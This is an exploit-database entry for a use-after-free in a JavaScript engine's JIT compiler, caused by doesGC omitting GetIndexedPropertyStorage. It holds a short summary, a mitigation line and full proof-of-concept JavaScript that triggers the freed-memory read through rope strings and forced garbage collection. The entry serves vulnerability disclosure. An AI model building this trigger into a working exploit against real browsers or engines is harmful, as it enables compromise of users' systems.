header-logo
Suggest Exploit
vendor:
N/A
by:
Anonymous
7.5
CVSS
HIGH
Use-after-free
416
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

UaF caused by missing GetIndexedPropertyStorage in doesGC function

The doesGC function is used to determine whether to insert write barriers, but it is missing GetIndexedPropertyStorage which can cause a garbage collection via rope strings. This can lead to a Use-after-free vulnerability. The PoC creates an array of 10 strings, each of which is composed of two strings of length 1024*1024*2. It then calls the opt function which performs a number of string operations on the array. After that, it calls gc() to trigger garbage collection. Finally, it calls opt again and assigns the result to o.x. When the program prints o.x, it prints 1234, which is the value of tmp.

Mitigation:

Ensure that the doesGC function includes GetIndexedPropertyStorage.
Source

Exploit-DB raw data:

/*
The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing GetIndexedPropertyStorage that can cause a garbage collection via rope strings. As a result, it can lead to UaF.

PoC:
*/

function gc() {
    for (let i = 0; i < 10; i++) {
        new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(arr) {
    let r = /a/;
    let o = {};

    arr[0].charAt(0);
    arr[1].charAt(0);
    arr[2].charAt(0);
    arr[3].charAt(0);
    arr[4].charAt(0);
    arr[5].charAt(0);
    arr[6].charAt(0);
    arr[7].charAt(0);
    arr[8].charAt(0);
    arr[8].charAt(0);
    arr[9].charAt(0);

    o.x = 'a'.match(r);

    return o;
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
    }

    let a = 'a'.repeat(1024 * 1024 * 2);
    let b = 'a'.repeat(1024 * 1024 * 2);

    let arr = [];
    for (let i = 0; i < 10; i++) {
        arr[i] = a + b;
    }

    gc();

    let o = opt(arr);

    gc();

    let tmp = [1234];

    print(o.x);  // 1234
}

main();